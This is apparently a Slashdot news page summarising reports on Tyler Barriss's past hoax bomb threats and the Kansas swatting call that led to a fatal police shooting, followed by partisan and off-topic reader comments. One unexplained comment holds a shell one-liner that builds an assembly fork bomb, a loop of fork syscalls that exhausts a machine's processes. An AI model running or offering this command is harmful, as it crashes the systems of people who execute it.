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Kansas 'Swat' Perpetrator Had Already Been To Prison For Fake Bomb Threats (go.com)
More details are emerging about an online gamer whose fake call to Kansas police led to a fatal shooting:
- "After phoning in a false bomb threat to a Glendale, California TV station in 2015, Tyler Barriss threatened to kill his grandmother if she reported him, according to local reports and court documents." -- The Wichita Eagle
- "The Glendale Police Department confirmed to ABC News that Tyler Barriss made about 20 calls to universities and media outlets throughout the country around the time he was arrested for a bomb threat to Los Angeles ABC station KABC in 2015... He was sentenced to two years and eight months in jail, court records show." -- ABC News
- "Within months of his release in August, he had already become the target of a Los Angeles Police Department investigation into similar hoax calls... LAPD detectives were planning to meet with federal prosecutors to discuss their investigation..." -- The Los Angeles Times
- The Wichita Eagle reports that even after the police had fatally shot the person SWauTistic was pretending to be, he continued his phone call with the 911 operator for another 16 minutes -- on a call which lasted over half an hour.
- Brian Krebs reports that police may have been aided in their investigation by another reformed SWAT perpetrator -- adding that SWauTistic privately claimed to have already called in fake emergencies at approximately 100 schools and 10 homes.
Just last month SWauTistic's Twitter account showed him bragging about a bomb threat which caused the evacuation of a Dallas convention center, according to the Daily Beast -- after which SWauTistic encouraged his Twitter followers to also follow him on a second account, "just in case twitter suspends me for being a god." Later the 25-year-old tweeted that "if you can't pull off a swat without getting busted you're not a leet hacking God its that simple."
Barriss remains in jail in Los Angeles with no bond, though within three weeks he's expected to be extradited to Kansas for his next trial.
A threat to the DNC.
LMFAO
He should get a gold sticker for "not being in a nuclear war within a year". Wow, what an accomplishment.
If you wonder what the problem with him is to the rest of us, it's the fact that his character and behavior even makes this a topic of discussion.
Cherrypicking a few things he hasn't completely fucked up yet (while giving him credit that he doesn't deserve) doesn't mean he's been a boon to this country; it means you can't be trusted to pull your hyper-partisan head out of your ass long enough to live in reality.
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No, but the hysterical leftist snowflakes have not slept because they were sure he would end the world.
He should get a gold sticker for "not being in a nuclear war within a year". Wow, what an accomplishment.
I bet you're the sort of person who'd complain like mad if there'd been a nuclear war and you had to spend all day hunting dogs to eat until you got captured and enslaved by a warlord and worked for a couple of years on a chain gang until you died of an infection because there weren't any antibiotics for slaves.
Poor old President Trump can win, can he?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Barriss should be held accountable. But he didn't "murder" anyone. The SWAT team did that.
The SWAT team didn't murder anybody. As long as they were following their department's official procedures, they have "qualified immunity". The SWAT ream members themselves will likely not receive any type of disciplinary actions, possibly a few mid-level administrative/procedure-writing types may receive a negative performance review next period.
At the very worst, one or two officers might be 'let go' and simply get a job at another department.
The elephant in the room in the US is that there are so many laws, rules, and regulations with the force of law that it takes an immense amount of manpower to police & enforce them all.
If they actually held law enforcement officers to higher standards and held them more accountable for their screw-ups, the government would either spend many times more than they do currently or not have nearly the manpower necessary to maintain order and minimal levels of enforcement.
If, in arguably one of the richest nations that's ever existed, you cannot afford to hire enough police to enforce all the laws you've passed in a just and non-abusive manner while not violating civil rights, without having to lower the standards to such low levels and allow them to get away with abusing the public rather than lose a warm body in uniform, perhaps...just perhaps...you've PASSED TOO MANY DAMNED LAWS!!!!1!!
Just something to consider, although my hopes for any meaningful reduction in the size of government and number of laws are very thin.
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Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.